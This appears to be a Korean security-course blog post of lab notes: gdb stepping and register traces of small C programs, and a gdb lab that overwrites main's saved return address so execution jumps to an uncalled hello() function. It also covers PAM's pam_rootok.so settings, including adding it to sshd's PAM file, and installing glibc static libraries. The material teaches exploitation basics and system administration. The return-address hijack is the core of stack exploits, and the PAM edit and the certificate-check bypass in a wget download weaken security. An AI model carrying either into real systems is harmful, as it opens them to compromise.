=> 0x8048416 <main+9>:	mov    DWORD PTR [esp+0x1c],0x7
   0x804841e <main+17>:	mov    eax,DWORD PTR [esp+0x1c]
   0x8048422 <main+21>:	mov    DWORD PTR [esp+0x4],eax
   0x8048426 <main+25>:	mov    DWORD PTR [esp],0x80484d4
   0x804842d <main+32>:	call   0x80482e0 <printf@plt>
[--------------------------------------------stack---------------------------------------------]
00:0000| esp 0xffffd4c0 --> 0x1 
01:0004|     0xffffd4c4 --> 0xffffd584 --> 0xffffd6d4 ("/root/test1")
02:0008|     0xffffd4c8 --> 0xffffd58c --> 0xffffd6e0 ("MANPATH=/opt/rh"...)
03:0012|     0xffffd4cc --> 0xf7e399ed (<__cxa_atexit_internal+29>:	test   eax,eax)
04:0016|     0xffffd4d0 --> 0xf7fce3c4 --> 0xf7fcf200 --> 0x0 
05:0020|     0xffffd4d4 --> 0x8000 
06:0024|     0xffffd4d8 --> 0x804844b (<__libc_csu_init+11>:	add    ebx,0x1bb5)
07:0028|     0xffffd4dc --> 0xf7fce000 --> 0x1c6d88 
[----------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, main () at test1.c:13
13	    int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686

# rm -f .gdbinit 

gdb 에서 필요한 명령어 
break(b): bp 설정 (ex: b main)
run(r)  : 프로세스 실행 (ex: r)
next(n) : eip가 가리키는 코드를 실행하고 다음 코드로 이동한다. (함수를 건너뛴다.) 
- n
- n 3
next instructiron(ni) : 기계어 코드 명령어 하나 하나 실행 
- ni
- ni 3
step: eip가 가리키는 코드를 실행하고 다음 코드로 이동한다. (함수 안으로 들어간다.)
- n
- n 3
step instructiron(si): 기계어 코드 명령어 하나 하나 실행한다.
- s
- s 3
continue(c): 다음 BP까지 실행
- c
print(p): 변수 출력
- p i
examine(x): 메모리 조사
- x/16xw $esp
- x/16xw &hello
display(disp): 변수/레지스터 모니터링
- disp $eip


# gdb test1
Reading symbols from /root/test1...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
(gdb) r
Starting program: /root/test1 

Breakpoint 1, main () at test1.c:13
13	    int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) disas /m main
Dump of assembler code for function main:
12	{
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x20,%esp

13	    int i = 7;
=> 0x08048416 <+9>:	movl   $0x7,0x1c(%esp)

14	
15	    printf("i = %d\n", i);  // i = 7
   0x0804841e <+17>:	mov    0x1c(%esp),%eax
   0x08048422 <+21>:	mov    %eax,0x4(%esp)
   0x08048426 <+25>:	movl   $0x80484d4,(%esp)
   0x0804842d <+32>:	call   0x80482e0 <printf@plt>

16	
17	    return 0;
   0x08048432 <+37>:	mov    $0x0,%eax

18	}
   0x08048437 <+42>:	leave  
   0x08048438 <+43>:	ret    

End of assembler dump.
(gdb) n
15	    printf("i = %d\n", i);  // i = 7
(gdb) i r
eax            0x1	1
ecx            0xf5a32c57	-173855657
edx            0xffffd514	-10988
ebx            0xf7fce000	-134422528
esp            0xffffd4c0	0xffffd4c0
ebp            0xffffd4e8	0xffffd4e8
esi            0x0	0
edi            0x0	0
eip            0x804841e	0x804841e <main+17>
eflags         0x286	[ PF SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) 
(gdb) disas main
Dump of assembler code for function main:
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x20,%esp
   0x08048416 <+9>:	movl   $0x7,0x1c(%esp)
=> 0x0804841e <+17>:	mov    0x1c(%esp),%eax
   0x08048422 <+21>:	mov    %eax,0x4(%esp)
   0x08048426 <+25>:	movl   $0x80484d4,(%esp)
   0x0804842d <+32>:	call   0x80482e0 <printf@plt>
   0x08048432 <+37>:	mov    $0x0,%eax
   0x08048437 <+42>:	leave  
   0x08048438 <+43>:	ret    
End of assembler dump.
(gdb) i r $eip
eip            0x804841e	0x804841e <main+17>
(gdb) n
i = 7
17	    return 0;
(gdb) i r $eip
eip            0x8048432	0x8048432 <main+37>
(gdb) disas main
Dump of assembler code for function main:
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x20,%esp
   0x08048416 <+9>:	movl   $0x7,0x1c(%esp)
   0x0804841e <+17>:	mov    0x1c(%esp),%eax
   0x08048422 <+21>:	mov    %eax,0x4(%esp)
   0x08048426 <+25>:	movl   $0x80484d4,(%esp)
   0x0804842d <+32>:	call   0x80482e0 <printf@plt>
=> 0x08048432 <+37>:	mov    $0x0,%eax
   0x08048437 <+42>:	leave  
   0x08048438 <+43>:	ret    
End of assembler dump.
(gdb) n
18	}
(gdb) n
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
(gdb) n
Single stepping until exit from function __libc_start_main,
which has no line number information.
[Inferior 1 (process 1894) exited normally]
(gdb) c
The program is not being run.


# gdb test1
Reading symbols from /root/test1...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
(gdb) r
Starting program: /root/test1 

Breakpoint 1, main () at test1.c:13
13	    int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) disas main
Dump of assembler code for function main:
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x20,%esp
=> 0x08048416 <+9>:	movl   $0x7,0x1c(%esp)
   0x0804841e <+17>:	mov    0x1c(%esp),%eax
   0x08048422 <+21>:	mov    %eax,0x4(%esp)
   0x08048426 <+25>:	movl   $0x80484d4,(%esp)
   0x0804842d <+32>:	call   0x80482e0 <printf@plt>
   0x08048432 <+37>:	mov    $0x0,%eax
   0x08048437 <+42>:	leave  
   0x08048438 <+43>:	ret    
End of assembler dump.
(gdb) disas /m main
Dump of assembler code for function main:
12	{
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x20,%esp

13	    int i = 7;
=> 0x08048416 <+9>:	movl   $0x7,0x1c(%esp)

14	
15	    printf("i = %d\n", i);  // i = 7
   0x0804841e <+17>:	mov    0x1c(%esp),%eax
   0x08048422 <+21>:	mov    %eax,0x4(%esp)
   0x08048426 <+25>:	movl   $0x80484d4,(%esp)
   0x0804842d <+32>:	call   0x80482e0 <printf@plt>

16	
17	    return 0;
   0x08048432 <+37>:	mov    $0x0,%eax

18	}
   0x08048437 <+42>:	leave  
   0x08048438 <+43>:	ret    

End of assembler dump.
(gdb) n
15	    printf("i = %d\n", i);  // i = 7
(gdb) disas /m main
Dump of assembler code for function main:
12	{
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x20,%esp

13	    int i = 7;
   0x08048416 <+9>:	movl   $0x7,0x1c(%esp)

14	
15	    printf("i = %d\n", i);  // i = 7
=> 0x0804841e <+17>:	mov    0x1c(%esp),%eax
   0x08048422 <+21>:	mov    %eax,0x4(%esp)
   0x08048426 <+25>:	movl   $0x80484d4,(%esp)
   0x0804842d <+32>:	call   0x80482e0 <printf@plt>

16	
17	    return 0;
   0x08048432 <+37>:	mov    $0x0,%eax

18	}
   0x08048437 <+42>:	leave  
   0x08048438 <+43>:	ret    

End of assembler dump.
(gdb) i r $eip
eip            0x804841e	0x804841e <main+17>
(gdb) ni
0x08048422	15	    printf("i = %d\n", i);  // i = 7
(gdb) i r $eip
eip            0x8048422	0x8048422 <main+21>
(gdb) ni
0x08048426	15	    printf("i = %d\n", i);  // i = 7
(gdb) i r $eip
eip            0x8048426	0x8048426 <main+25>
(gdb) ni
0x0804842d	15	    printf("i = %d\n", i);  // i = 7
(gdb) i r $eip
eip            0x804842d	0x804842d <main+32>
(gdb) ni
i = 7
17	    return 0;
(gdb) i r $eax
eax            0x6	6
(gdb) ni
18	}
(gdb) i r $eax
eax            0x0	0
(gdb) c
Continuing.
[Inferior 1 (process 1900) exited normally]
(gdb) q

실습> gdb로 함수 분석하기

1. 소스코드 다운로드
# wget https://linuxmaster.net/tools/cLanguage.tar.gz --no-check-certificate
# tar xzf cLanguage.tar.gz
# cd cLanguage/Day07

2. 소스코드 작성
vi 에서 소스코드를 utf8로 변경한다.
# vi c_Chap07Ex01.c
:set fileencoding=utf8
:wq

/*
 * 파일명: c_Chap07Ex01.c
 * 프로그램 설명: 함수 예제
 * 작성자: 리눅스마스터넷 
 */

#include <stdio.h>

//  함수 선언
int plus(int value1, int value2);

int main()
{
    int a;

    a = plus(1, 2);  // 함수 호출

    printf("a = %d\n", a);  // 3
    printf("plus(3,5) = %d\n", plus(3, 5));  // 8

    return 0;
}

//  함수 정의
int plus(int value1, int value2)
{
    return value1 + value2;
}

3. 컴파일 및 실행
-m32 : 32bit 옵션
-g : 디버깅 옵션
-o c_Chap07Ex01: 실행파일
# gcc -m32 -g -o c_Chap07Ex01 c_Chap07Ex01.c 

# ./c_Chap07Ex01 
a = 3
plus(3,5) = 8

4. 디버깅
# gdb c_Chap07Ex01
Reading symbols from /root/cLanguage/Day07/c_Chap07Ex01...done.
(gdb) b main
(gdb) display $eip
(gdb) r
Starting program: /root/cLanguage/Day07/c_Chap07Ex01 

Breakpoint 1, main () at c_Chap07Ex01.c:16
16	    a = plus(1, 2);  // 함수 호출
1: $eip = (void (*)()) 0x8048416 <main+9>
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686

(gdb) s
plus (value1=1, value2=2) at c_Chap07Ex01.c:27
27	    return value1 + value2;
1: $eip = (void (*)()) 0x8048470 <plus+3>

(gdb) disas /m plus
Dump of assembler code for function plus:
26	{
   0x0804846d <+0>:	push   %ebp
   0x0804846e <+1>:	mov    %esp,%ebp

27	    return value1 + value2;
=> 0x08048470 <+3>:	mov    0xc(%ebp),%eax
   0x08048473 <+6>:	mov    0x8(%ebp),%edx
   0x08048476 <+9>:	add    %edx,%eax

28	}
   0x08048478 <+11>:	pop    %ebp
   0x08048479 <+12>:	ret    

End of assembler dump.
(gdb) ni
0x08048473	27	    return value1 + value2;
1: $eip = (void (*)()) 0x8048473 <plus+6>
(gdb) ni
0x08048476	27	    return value1 + value2;
1: $eip = (void (*)()) 0x8048476 <plus+9>
(gdb) i r $eax
eax            0x2	2
(gdb) ni
28	}
1: $eip = (void (*)()) 0x8048478 <plus+11>
(gdb) i r $eax
eax            0x3	3
(gdb) c
Continuing.
a = 3
plus(3,5) = 8
[Inferior 1 (process 1948) exited normally]

실습> gdb에서 EIP 주소 변경하기

레지스터:
CPU안에 있는 고속의 메모리 공간으로 CPU가 빠른 처리를 위해서 레지스터에 값을 저장하고 이용한다.

32bit 기준
EIP: 다음에 실행한 메모리 주소

/*
 * 파일명: gdbEIP.c
 * 프로그램 설명: gdb에서 EIP 주소 변경하기
 * 작성자: 리눅스마스터넷
 */

#include <stdio.h>

void hello();

int main()
{
    printf("Hello\n");
    return 0;
}

void hello()
{
    printf("Hello C!\n");
}

# gcc -m32 -g -o gdbEIP gdbEIP.c 
# ./gdbEIP 
Hello

# gdb gdbEIP
(gdb) b main

(gdb) disas /m main
Dump of assembler code for function main:
12	{
   0x0804840d <+0>:	push   %ebp
   0x0804840e <+1>:	mov    %esp,%ebp
   0x08048410 <+3>:	and    $0xfffffff0,%esp
   0x08048413 <+6>:	sub    $0x10,%esp

13	    printf("Hello\n");
=> 0x08048416 <+9>:	movl   $0x80484d4,(%esp)
   0x0804841d <+16>:	call   0x80482e0 <puts@plt>

14	    return 0;
   0x08048422 <+21>:	mov    $0x0,%eax

15	}
   0x08048427 <+26>:	leave  
   0x08048428 <+27>:	ret    

(gdb) r
(gdb) disp $eip
1: $eip = (void (*)()) 0x8048416 <main+9>

(gdb) ni
0x0804841d	13	    printf("Hello\n");
1: $eip = (void (*)()) 0x804841d <main+16>

(gdb) ni
Hello
14	    return 0;
1: $eip = (void (*)()) 0x8048422 <main+21>

(gdb) ni
15	}
1: $eip = (void (*)()) 0x8048427 <main+26>

(gdb) ni
0x08048428	15	}
1: $eip = (void (*)()) 0x8048428 <main+27>

(gdb) ni
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
1: $eip = (void (*)()) 0xf7e212d3 <__libc_start_main+243>

(gdb) c
Continuing.
[Inferior 1 (process 1989) exited normally]

프로세스를 다시 실행시킨다.
(gdb) r
Starting program: /root/gdbEIP 

Breakpoint 1, main () at gdbEIP.c:13
13	    printf("Hello\n");
1: $eip = (void (*)()) 0x8048416 <main+9>
(gdb) n
Hello
14	    return 0;
1: $eip = (void (*)()) 0x8048422 <main+21>
(gdb) x/16xw $ebp
0xffffd4e8:	0x00000000	0xf7e212d3	0x00000001	0xffffd584
                        ~~~~~~~~~~
                           RET (리턴 Address가 저장된 곳)
                           main()함수가 종료되면 돌아가야할 메모리 주소
0xffffd4f8:	0xffffd58c	0xf7fd8738	0x00000001	0x00000001
0xffffd508:	0x00000000	0x0804a010	0x0804821c	0xf7fce000
0xffffd518:	0x00000000	0x00000000	0x00000000	0x5b482663
(gdb) n
15	}
1: $eip = (void (*)()) 0x8048427 <main+26>
(gdb) n
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
1: $eip = (void (*)()) 0xf7e212d3 <__libc_start_main+243>


(gdb) disas hello
Dump of assembler code for function hello:
   0x08048429 <+0>:	push   %ebp
   0x0804842a <+1>:	mov    %esp,%ebp
   0x0804842c <+3>:	sub    $0x18,%esp
   0x0804842f <+6>:	movl   $0x80484da,(%esp)
   0x08048436 <+13>:	call   0x80482e0 <puts@plt>
   0x0804843b <+18>:	leave  
   0x0804843c <+19>:	ret    
End of assembler dump.

(gdb) p &hello
$1 = (void (*)()) 0x8048429 <hello>


(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/gdbEIP 

Breakpoint 1, main () at gdbEIP.c:13
13	    printf("Hello\n");
1: $eip = (void (*)()) 0x8048416 <main+9>
(gdb) x/16xw $ebp
0xffffd4e8:	0x00000000	0xf7e212d3	0x00000001	0xffffd584
                        ~~~~~~~~~~
                           RET <-- main() 함수가 끝나고 돌아갈 주소 (hello 함수) 주소로 변경
0xffffd4f8:	0xffffd58c	0xf7fd8738	0x00000001	0x00000001
0xffffd508:	0x00000000	0x0804a010	0x0804821c	0xf7fce000
0xffffd518:	0x00000000	0x00000000	0x00000000	0xaf09c943

RET의 주소를 hello 주소로 변경한다.
(gdb) set {int *}0xffffd4ec = &hello
(gdb) x/16xw $ebp
0xffffd4e8:	0x00000000	0x08048429	0x00000001	0xffffd584
0xffffd4f8:	0xffffd58c	0xf7fd8738	0x00000001	0x00000001
0xffffd508:	0x00000000	0x0804a010	0x0804821c	0xf7fce000
0xffffd518:	0x00000000	0x00000000	0x00000000	0xaf09c943
(gdb) ni
0x0804841d	13	    printf("Hello\n");
1: $eip = (void (*)()) 0x804841d <main+16>
(gdb) ni
Hello
14	    return 0;
1: $eip = (void (*)()) 0x8048422 <main+21>
(gdb) ni
15	}
1: $eip = (void (*)()) 0x8048427 <main+26>
(gdb) ni
0x08048428	15	}
1: $eip = (void (*)()) 0x8048428 <main+27>
(gdb) ni
hello () at gdbEIP.c:18
18	{
1: $eip = (void (*)()) 0x8048429 <hello>  <-- hello() 함수 안으로 들어온 부분
(gdb) n
19	    printf("Hello C!\n");
1: $eip = (void (*)()) 0x804842f <hello+6>
(gdb) c
Continuing.
Hello C!

Program received signal SIGSEGV, Segmentation fault.
0x00000001 in ?? ()
1: $eip = (void (*)()) 0x1
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) q



##########
## PAM
##########


pam_rootok.so
- root 계정이면 성공을 반환한다.
- 다른 계정이면 실패를 반환한다.

# grep ^UsePAM /etc/ssh/sshd_config
UsePAM yes

# ls -ld /usr/sbin/sshd
-rwxr-xr-x. 1 root root 852856  8월  9  2019 /usr/sbin/sshd

# ls -ld /etc/pam.d/sshd 
-rw-r--r--. 1 root root 904  8월  9  2019 /etc/pam.d/sshd

# vi /etc/pam.d/sshd
#%PAM-1.0
auth       sufficient   pam_rootok.so
  :
  :(생략)

# vi /etc/pam.d/su
#%PAM-1.0
auth		sufficient	pam_rootok.so  <-- root이면 성공을 반환한다.

# useradd user1
# passwd --stdin user1
12345

root 이기 때문에 무조건 성공을 반환하므로 일반유저 user1의 권한을 얻을 수 있다.
[root@localhost ~]# su - user1
마지막 로그인: 수  3월 22 16:21:33 KST 2023 일시 pts/0
[user1@localhost ~]$ exit


# vi /etc/pam.d/su
#%PAM-1.0
#auth		sufficient	pam_rootok.so  <-- 주석처리를 했으므로 root이면 성공을 반환하지 않는다.

무조건 성공이 아니므로 일반유저 user1의 비밀번호를 정확히 입력해야 user1의 권한을 얻을 수 있다.
만약 인증에 실패하면 로그인이 금지된다.
[root@localhost ~]# su - user1
암호:
마지막 로그인: 수  3월 22 16:38:48 KST 2023 일시 pts/0
[user1@localhost ~]$ exit

[root@localhost ~]# su - user1
암호:
su: 인증 실패

실습> static library 설치하기

라이브러리명 
lib<라이브러리명>.<라이브러리종류> 
.a  : 정적 라이브러리
.so : 공유 라이브러리
.so : 동적 라이브러리

glibc-static: 64bit
glibc-static.i686: 32bit

***** 참고 *****
# mv /bin/mv ~
# rpm -qf /bin/mv
# yum -y reinstall coreutils
# ls -l /bin/mv
-rwxr-xr-x. 1 root root 130360  8월 20  2019 /bin/mv

# mv /lib64/libc.a ~
# yum -y reinstall glibc-static.i686 glibc-static
# ls /lib64/libc.a
ls: cannot access /lib64/libc.a: 그런 파일이나 디렉터리가 없습니다

glibc-static은 삭제되지 않는다.
그러므로 하나씩 지웠다가 다시 설치해야 한다.
# yum -y remove glibc-static.i686 glibc-static
# yum -y remove glibc-static.i686
# yum -y remove glibc-static

# yum -y install glibc-static.i686 glibc-static

이유는 확인을 해야 한다.
dnf가 나온 이유는 yum 의 단점을 보완해서 dnf가 나온것인데 이것과 연관되어 있는지 확인을 해야 된다.
***** 참고 *****


# yum -y remove glibc-static.i686
# yum -y remove glibc-static

# yum -y install glibc-static.i686 glibc-static


# ll /usr/lib64/libc.a
ls: cannot access /usr/lib64/libc.a: 그런 파일이나 디렉터리가 없습니다

# yum -y install glibc-static glibc-static.i686


64bit 정적 라이브러리
# ll /usr/lib64/libc.a
-rw-r--r--. 1 root root 5105516  5월 19  2022 /usr/lib64/libc.a

32bit 정적 라이브러리
# ll /usr/lib/libc.a
-rw-r--r--. 1 root root 3884038  5월 19  2022 /usr/lib/libc.a

64bit 정적 라이브러의 모든 Object를 출력한다.
# ar t /usr/lib64/libc.a

32bit 정적 라이브러의 모든 Object를 출력한다.
# ar t /usr/lib/libc.a

64bit 정적 라이브러에서 printf.o Object를 출력한다.
# ar t /usr/lib64/libc.a printf.o
printf.o

64bit 정적 라이브러에서 scanf.o Object를 출력한다.
# ar t /usr/lib64/libc.a scanf.o
scanf.o

32bit 정적 라이브러에서 printf.o Object를 출력한다.
# ar t /usr/lib/libc.a printf.o
printf.o

3bit 정적 라이브러에서 scanf.o Object를 출력한다.
# ar t /usr/lib/libc.a scanf.o
scanf.o
profile
정보보안 전문가

0개의 댓글